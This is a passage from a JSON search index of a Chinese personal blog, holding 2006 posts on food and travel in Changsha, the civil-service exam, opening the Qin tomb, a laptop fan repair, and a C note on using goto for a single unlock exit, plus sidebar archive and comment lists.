2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/11/01/eat-at-hunan-bacon/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"吃在湘地-腊肉篇"},{"content":"在长沙工作日除了工作，就是吃东西。到了一个新地方，我想所有人都想找一些特色的地方吃，我也不例外。\n在湖南省博附近有一家百年老店－’杨裕兴’，以面为特色，这也是后来才知道的，我今天没吃面，吃的是煲仔。由于早上吃饭较晚，所以到在下午3点才感觉到腹中饥饿，来到’杨裕兴’，服务员都在擦桌子，收拾卫生。中午的饭局已过。看了贴在墙上的菜单，想起同事说长沙的煲仔很不错，遂要了份’香干回锅肉煲仔’，等了大约15分钟，热腾腾的锅端了过来，服务员还忘了给我揭开锅盖，我自己尝试着去打开盖子，一股热气差点把我的手烫了:)\n这就是那个煲仔：\n刚来的时候在酒店吃过煲仔－甲鱼煲仔，甲鱼肉还可以，但是没有太多感觉。这次这锅可很是不错，味道很适合我。以前一直以为东北的菜都很油，现在看来湖南菜丝毫不逊色于东北菜，有的菜很油，而且味道终，相信东北人到湖南一定不觉得在吃的上面有什么不适应。每家店都有自己的特色煲仔，要挨个吃完，需要一段时间:)\n","permalink":"https://tonybai.com/2006/10/31/eat-at-hunan-hot-pot-rice/","summary":"\u003cp\u003e在长沙工作日除了工作，就是吃东西。到了一个新地方，我想所有人都想找一些特色的地方吃，我也不例外。\u003c/p\u003e\n\u003cp\u003e在湖南省博附近有一家百年老店－’杨裕兴’，以面为特色，这也是后来才知道的，我今天没吃面，吃的是煲仔。由于早上吃饭较晚，所以到在下午3点才感觉到腹中饥饿，来到’杨裕兴’，服务员都在擦桌子，收拾卫生。中午的饭局已过。看了贴在墙上的菜单，想起同事说长沙的煲仔很不错，遂要了份’香干回锅肉煲仔’，等了大约15分钟，热腾腾的锅端了过来，服务员还忘了给我揭开锅盖，我自己尝试着去打开盖子，一股热气差点把我的手烫了:)\u003c/p\u003e","title":"吃在湘地-煲仔篇"},{"content":"今天搬到新的宾馆，条件肯定不如准5星了，不过离工作地点近，不用总打车了，况且自己一个人的补助也住不起准5星。\n换完房后，早饭点已过，只能早餐午餐一起了。旁边一家普通的饭店，是属于煲仔，面/粉，炒菜俱全的。还没吃过南方的面的，这次要了一碗\n‘冬菇肉片面’，面端过来还是很好看的。瞧瞧：\n冬菇肉片面\n不过吃起来，真是不如北方的面好吃，我怀疑这里的面条是不是北方那种小麦做的，很难吃。冬菇有的有些苦。总之很失败。不知道是这个店的问题，还是南方的面都是这样的。\n拖着一天疲惫的身体回到酒店，腹中饥饿，到下面餐厅大吃一顿。就一个人吃，在服务员的推荐下点了两个菜，菜端上来才觉得有些多了。让我惊奇的在后面，服务员端来一桶饭，我说我不需要这么多，她说：饭是免费的，不要钱。心里想那我也吃不了，浪费了，唉。最后的结果也是没吃完。下次一定少要点:)\n香菜牛肉\n粉丝红肉汤\n一桶饭\n","permalink":"https://tonybai.com/2006/10/31/eat-at-hunan-noodles/","summary":"\u003cp\u003e今天搬到新的宾馆，条件肯定不如准5星了，不过离工作地点近，不用总打车了，况且自己一个人的补助也住不起准5星。\u003c/p\u003e\n\u003cp\u003e换完房后，早饭点已过，只能早餐午餐一起了。旁边一家普通的饭店，是属于煲仔，面/粉，炒菜俱全的。还没吃过南方的面的，这次要了一碗\u003c/p\u003e","title":"吃在湘地-面食篇"},{"content":"赶上周末，头一次来到湖南的我自然选择转转，因为过几天可能要换到一个离工作地点较近的宾馆，所以今天出去’踩踩盘子’，顺便浏览一下湖南的城市风光。\n工作地点在省博物馆附近，我们也就在那附近转哟。中午到长沙著名的中华老字号－’火宫殿’，老字号都有一个毛病就是卫生条件很是一般，菜倒是有特色，南方城市的汤都是很不错的，这次我们要了一个土鸡炖板栗莲子，一火罐的，足够两个人吃。还有几个小菜我都记不住了，主食我要了窝窝头，呵呵，当然是精制的窝窝头了，很好吃。\n省博物馆附近一个比较大的景点就是烈士公园了，很大，中间的年嘉湖据说是很浏阳河连着的，当年朱老总就是在这带领红军渡过浏阳河的，所以这里有一个’红军渡’的纪念景点。年嘉湖上游客很多，由于昨天天气很好，所以游玩的人也特别多。唯一遗憾的就是烈士纪念碑在修缮施工，没法近距离观纪念碑。\n烈士公园一景\n年嘉湖游船\n出了烈士公园，我们到长沙著名的酒吧一条街－’解放西路’转了一圈，长沙的酒吧经济很是火爆，听出租车司机说每晚各大酒吧都爆满，一般最低消费都在400元左右。这块同事也是长沙的商业区之一，除了酒吧就是商场，很是热闹，也很拥挤。续沿着解放西路向西，就是著名的湘江了。在湘江边可以看到江心的小岛，听说岛的最南面就是著名的’橘子洲头’了，当年毛主席就在这留下了著名的’沁园春.长沙’：独立寒秋，湘江北去，橘子洲头，看万山红遍，….\n湘江红日-1\n湘江红日-2\n湘江远眺\n","permalink":"https://tonybai.com/2006/10/29/some-photos-of-changsha-of-hunan/","summary":"\u003cp\u003e赶上周末，头一次来到湖南的我自然选择转转，因为过几天可能要换到一个离工作地点较近的宾馆，所以今天出去’踩踩盘子’，顺便浏览一下湖南的城市风光。\u003c/p\u003e","title":"湘地光影"},{"content":"由于项目原因，从冰冷的北方飞到温暖的湘地首府－长沙。昨天晚上飞机晚点，到达酒店已经是凌晨了，不过酒店不错，准五星的，是目前我住过的最好的酒店了:)。\n由于机票定的较晚，所以需要在北京转机，在首都国际机场无聊的等了近4个小时，终于于北京时间20:30离开了首都机场的跑道，其间还吃了一顿28元的牛肉饭，这算是候机楼里最便宜的饭菜了。味道还不错，就是没吃饱，多亏飞机上还提供一顿简易的晚餐。\n一夜无话，今天早上’叫醒服务’把我从睡梦中叫醒。极不情愿的起来，因为客户要9点开会。会议过程就不想提了，客户咄咄逼人，压力大呀。下午又去了趟客户的机房，真累呀。\n累的事情还是少说，说点别的。吃！到湘地，吃是必不可少的，明显区别于北方菜系让我感到吸引力十足。早饭就不说了，酒店提供。午饭就在酒店附近的一个叫’湘鄂情’的餐馆，一个挺有情调的餐馆，室内灯光很暗，每个餐桌对应着一顶小灯，颇有些酒吧的味道。这餐我们的销售买单，第一次来湖南，当然要点湖南本地特色菜，剁椒鱼头，炒腊肉等。以前也多次吃过剁椒鱼头，但是这次味道的确不错，肉嫩，辣味适中。腊肉也是我最爱吃的，虽说不是那么健康，但是味道的确吸引人呀。\n晚上在酒店吃的，由于服务员的失误，让我们吃了两种鱼，桂鱼，水鱼即甲鱼。说说甲鱼吧，真是第一次吃。从心里本不愿意吃，我这个人不太喜欢那些’非正规’的食物，但是在同事的劝谏下，还是尝了尝，味道不错，感觉吃的时候有些像鸡肉和鱿鱼的混合物，奇奇怪怪的。\n说完食物，说天气。北方已经零下了。这边还在16度以上。喜欢秋冬时这边的温暖。但是不知道为什么今天整个城市都笼罩在不知是云还是汽车尾气的环境中，很是不爽。不知道这样的天气状态会不会持续，希望能盼来一个蓝蓝天。\n自己在湘地还会继续待着，也许本月也许更长，看是否顺利吧:)\n","permalink":"https://tonybai.com/2006/10/27/i-am-at-hunan-province/","summary":"\u003cp\u003e由于项目原因，从冰冷的北方飞到温暖的湘地首府－长沙。昨天晚上飞机晚点，到达酒店已经是凌晨了，不过酒店不错，准五星的，是目前我住过的最好的酒店了:)。\u003c/p\u003e","title":"身在湘地"},{"content":"一年一度的国家公务员招考报名工作即将于今晚24点截止，之所以关注这次报考是因为我GF也是诸多考生中的一员，在帮助她报考的过程中，我有了一些想法和体会。\n我不是很了解公务员职位表中对职位的要求是如何确定的，但是我看了公务员职位表后第一感觉就是专业限制太’死’，职位要求太严格。众所周知，公务员招考主要还是面向社会有工作经验的人，每年统计数字表明2/3的职位录取的是有工作经验的人。我的疑问就在于此：有工作经验的人都是毕业后从事本专业的人么？不见得，有相当多的一部分人从事的并不是自己的本专业的工作，而是选择自己更喜欢的行业。这样的人如果想报考公务员就有些难了，在数千个职位中找了半天也找不到自己合适的职位，因为职位表上写的很明确，要求某某专业。\n试问一个有着5年软件开发经验的大学专业是学机械的人和一个刚从学校毕业的计算机专业的大学生同时报考一个职位，结果如何呢？前者可能根本通不过资格审查，原因很简单：这个职位需要计算机专业毕业的人。那么这个有着5年软件开发经验的社会人士真的就不如这个计算机专业毕业的学生么？我看未必。这显然导致了竞争上的不平等。哇，还没等考试呢，天枰就已经倾斜了。\n也许我不是很了解公务员考试，也许公务员考试和其他的招聘有不同，但是当我们的社会，我们的教育都在强调素质教育时，在宣传不要一张文凭定终身，打破专业界限时，公务员招考就像一面镜子折射出一缕缕不和谐之光。\n如果说不公平还有很多，为什么专科生不能报考，为什么有些岗位非得要硕士，硕士和本科就有很大差距么？为什么不是党员就不能报考某些与政治无关的职位？太多的为什么等待着政府去回答。’公平’这一公民最起码的权力难道真的离我们这么远吗？\n也许在政府工作的人员都应该是高学历的，政治过硬的，这样政府脸上也有光彩，这样才能更好的为大众服务，而事实真的如此么？我们的高考改革已经有了成功的先例，公务员招考也该考虑考虑’与时俱进’了。\n改革是漫长的，吃饭是关键的，饿了，走了。\n","permalink":"https://tonybai.com/2006/10/24/civil-servant-exam-should-keep-up-with-the-times/","summary":"\u003cp\u003e一年一度的国家公务员招考报名工作即将于今晚24点截止，之所以关注这次报考是因为我GF也是诸多考生中的一员，在帮助她报考的过程中，我有了一些想法和体会。\u003c/p\u003e","title":"公务员招考应该'与时俱进'"},{"content":"今天看到国内著名经济学家张五常的一篇文章: \u0026ldquo;是打开始皇陵墓的时候了\u0026ldquo;以及众网友的评论，自己也有一些想法，我是很赞成早些打开秦始皇陵的。\n张五常先生在发表\u0026quot;是打开始皇陵墓的时候了\u0026quot;一文之后又陆续发表了若干篇，有篇是从经济学角度来考虑打开秦始皇陵对中国经济特别是中国西部经济的促进作用。我是个凡人，仅从自己的角度去想问题。:)\n记得最近一部有关秦始皇陵的’大片’应该是成龙和金喜善主演的’神话’，细数起来，历史上关于秦始皇陵的影视作品以及各种小说不计其数，从古自今人们一直在揣度着那个神秘的陵墓背后所不为认知的故事。科学家们也没有闲着，他们在为皇陵见天日那一刻努力着拼搏着，甚至有人一辈子都在做这么一件事，直到终老也没能见到皇陵的庐山真面目，只好到另一个世界亲自去问问始皇大人了。一代接着一代人的努力仍然没有带来最终的结果。秦始皇陵这个千古谜团仍然在延续着。\n国家为什么不决定打开皇陵呢？一个最重要的原因就是’一旦打开，如果保护措施不到位，将会带来不可估量的损失’，很多学者都如是说。但我想如果这样下去，这批’保陵派’的学者们可真要带着遗憾去见秦始皇了。我们假设一切顺利，中国在未来上百年时间风调雨顺，科技飞快发展，可能若干年后终于可以出台可以完美保护秦始皇陵的方案了。但是这一切都存在着相当大的风险，一旦出现什么意外情况，秦始皇陵由于不可抗拒之原因被摧毁了，那还谈什么呢，和这个相比，前面各位学者担心的简直微不足道。非常欣赏张五常的一句话：\u0026ldquo;如果永远不打开，等于没有，或有等于无。要打开才有价值，才能对社会作出贡献\u0026rdquo;。我觉得更重要的是秦始皇陵的打开能让所有中国人真正了解那段历史，这才是价值所在，能见证几千年前的那段辉煌历史我们都为之感到骄傲。话又说回来，难道今天中国的科技还不足以保证秦始皇陵的安全么？我觉得目前中国的工程技术人员是世界上首屈一指的，三峡大坝，青藏铁路，奥运鸟巢工程等等世界性的工程都在中国工程技术人员的手里面完成了，我相信他们能给我们一个稳妥安全的解决方案。\n我们应该相信我们国人的智慧，这里我为’打开秦始皇陵’投一赞成票。\n","permalink":"https://tonybai.com/2006/10/24/i-agree-in-opening-the-mausoleum-of-qinshihuang/","summary":"\u003cp\u003e今天看到国内著名经济学家\u003ca href=\"http://blog.sina.com.cn/m/zhangwuchang\"\u003e张五常\u003c/a\u003e的一篇文章: \u0026ldquo;\u003ca href=\"http://blog.sina.com.cn/u/47841af7010006z0\"\u003e是打开始皇陵墓的时候了\u003c/a\u003e\u0026ldquo;以及众网友的评论，自己也有一些想法，我是很赞成早些打开秦始皇陵的。\u003c/p\u003e\n\u003cp\u003e张五常先生在发表\u0026quot;是打开始皇陵墓的时候了\u0026quot;一文之后又陆续发表了若干篇，有篇是从经济学角度来考虑打开秦始皇陵对中国经济特别是中国西部经济的促进作用。我是个凡人，仅从自己的角度去想问题。:)\u003c/p\u003e","title":"我也支持打开秦始皇陵"},{"content":"终于干完活了，这几天甭提有多忙，今天感觉键盘敲的最多，’一亿次’只是个夸张的虚数，具体多少次，我也没去数^_^。不过一天下来手指、手掌、肩膀都有些发木，酸酸的，难受极了，估计这就是职业病。\n最累的是往CVS中导入代码，其实如果是新工程导入也就简单了，一个cvs import命令就可以搞定，可是项管偏偏把顶层目录给你导了进去，这下子可忙坏了我，需要一个目录一个目录，一个文件一个文件的add和commit。早知道写一个脚本往里导了，累死了。再者我调整了以前项目的目录结构，使新的目录结构更易于部署，只需要一次make，全部搞定，当然这也不是什么新鲜技术，方便自己罢了。最近在做远程实施，发现我们的系统实施起来很费尽，开发目录和运行目录没有很好的分开，弄得乱七八糟，在现网还得自己建立运行目录，并将编译好的程序copy过来，及其繁琐。事实也证明：往往新鲜的点子，受大众欢迎的软件都是源于解决自己身边的问题。\n最近忙的都没空听歌，昨天本子修好了，可以听歌了，张韶涵的\u0026quot;隐形的翅膀\u0026quot;让我一饱耳福。我觉得\u0026quot;隐形的翅膀\u0026quot;可以称为张的集大成之作，经典。\n天天加班，身体有些吃不消，现在就感觉浑身不舒服，走了，回去吃饭了，也该歇歇了，明天还有忙不完的活。^_^\n","permalink":"https://tonybai.com/2006/10/19/knock-keyboard-a-hundred-million-times/","summary":"\u003cp\u003e终于干完活了，这几天甭提有多忙，今天感觉键盘敲的最多，’一亿次’只是个夸张的虚数，具体多少次，我也没去数^_^。不过一天下来手指、手掌、肩膀都有些发木，酸酸的，难受极了，估计这就是职业病。\u003c/p\u003e","title":"今天敲了'一亿次'键盘"},{"content":"由于公司信息安全管理日趋严格，新政策规定：不允许自带计算机进入工作区。隐痛割爱，我的本本交给了GF，这到把她高兴坏了。不过还好趁着出差培训的机会，从部门借了台笔记本，回来后也就’暂时’由我使用了:)。不过我周围的同事可算是’倒霉’了，你要问为什么，下面告诉你。\n我借的这台笔记本出身’名门正派’，乃大名鼎鼎的IBM门下弟子，可惜估计是最烂的一届弟子，我见过的部门几台同型号的机器都有类似的问题－散热，我的这个更加严重－风扇坏了，风扇的声音像一个摩托车马达，还是有频率的运转着，声音此起彼伏，弄的我周围的同事’怨声载道’，弄的我也不敢多开程序，甚至只能在晚上下班后才上网看看，现在的网站到处都是小广告，弄得我的本子嗷嗷叫，我多次催促设备部的同事给我的机器换一个风扇，但是一直拖到今天。这不下午，一男一女两个委托服务公司的人来了－拿着新的风扇。\n看到他们我真是高兴呀。那个男的负责修理我的本子，一把螺丝刀，上下翻飞，瞬间我的本子就被拆得’面目全非’，他取下风扇，居然在CPU上发现一只’小强’，不过是一只烤焦了的小强，都怪小强命不好，往哪钻不好，非得往火炉里钻。修理人员帮我重新给CPU上涂了硅胶，然后换上新的风扇，又一转眼功夫，笔记本从零件状态恢复为整机状态，真是’妙手回春’呀，专业人事就是专业人事，手到擒来。我周围的同事也都和我有相同看法，这不到10分钟的时间，让我们一饱专业人事的风采，足矣:)\n插上电源开机，一点声音也没有，让我怀疑是不是新装上的风扇没有转动，把手放到散热口，一丝丝热风席卷而出，我这才放心。旁边的同事还打趣说：摩托车卖了呀:)\n","permalink":"https://tonybai.com/2006/10/18/replace-electric-fan-for-laptop/","summary":"\u003cp\u003e由于公司信息安全管理日趋严格，新政策规定：不允许自带计算机进入工作区。隐痛割爱，我的本本交给了GF，这到把她高兴坏了。不过还好趁着出差培训的机会，从部门借了台笔记本，回来后也就’暂时’由我使用了:)。不过我周围的同事可算是’倒霉’了，你要问为什么，下面告诉你。\u003c/p\u003e","title":"本本换风扇记"},{"content":"最近真是忙的昏头转向，再加上天气逐渐转冷，很是有些不爽。今天dreamhead提醒我好久不更新Blog了，我也想更新，但是写点什么呢，工作相关的吧。\n今天抽出一点儿时间来改一个系统的大Bug，这个问题早已定性，只是由于修改工作量较大，范围较广，而不敢轻易修改。不过眼看系统要上线测试，不改也不行了。\n问题主要是由于系统锁资源使用不当，导致有时一些指针在无锁保护的情况下’裸奔’，解决方案就是在业务一层加锁，将底层的接口实现替换为无锁。在修改的过程中常常会遇到这样的情况：\nrv = action1\nif (rv != X_SUCCESS) {\nreturn xx; }\nrv = action2\nif (rv != X_SUCCESS) {\nreturn xx; }\naction1和action2是需要在锁保护下的两个操作，对于上面的代码在任何一个可能退出该函数的出口，我们都需要进行解锁操作，所以一般方法就是：\nlocked;\nrv = action1\nif (rv != X_SUCCESS) {\nunlocked;\nreturn rv; }\nrv = action2\nif (rv != X_SUCCESS) {\nunlocked;\nreturn rv; }\nunlocked\nreturn rv;\n这时候一旦还有更多的action或者是嵌套actions，代码维护起来就很是不方便，比如：\nrv = action1\nif (rv != X_SUCCESS) {\nif (….) {\n….\n} else {\n….\n}\n}\nrv = action2\nif (rv != X_SUCCESS) {\nreturn rv;\n} else {\nrv = action3\nif (rv != X_SUCCESS) {\nreturn rv;\n}\n} …\nreturn rv;\n这时候我们会想到在一个’关键路径’上加上解锁操作即可，这段代码在离开该函数前必将被执行，锁资源也必将被释放，而实现这种方式的一个好的方法就是使用goto，我们看一下用goto后的代码。\nlocked;\nrv = action1\nif (rv != X_SUCCESS) {\ngoto over; }\nrv = action2\nif (rv != X_SUCCESS) {\ngoto over;\n}\nover:\nunlocked\nreturn rv;\n看起来的确简单直观，逻辑清晰，整个函数就唯一出口。有人说goto不好，影响程序的结构化，其实goto很好，关键要看你如何用，滥用当然不好，像那种从前goto到后面，在从后面goto回来的代码是极力不推荐的。记得刚入司时只是教条的记得书本上说不要使用goto，甚至有的C编码规范’三令五申’不许使用goto，看了公司的代码中居然大量使用goto，当时感到不解，在以后的工作中渐渐体会到goto也有它的好处。任何事物都有其两面性，关键看你如何对待了。\n饿了!回去煮面吃 － 肉酱面:)\n","permalink":"https://tonybai.com/2006/10/17/goto-also-has-beneift/","summary":"\u003cp\u003e最近真是忙的昏头转向，再加上天气逐渐转冷，很是有些不爽。今天dreamhead提醒我好久不更新Blog了，我也想更新，但是写点什么呢，工作相关的吧。\u003c/p\u003e","title":"Goto也有它的好"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 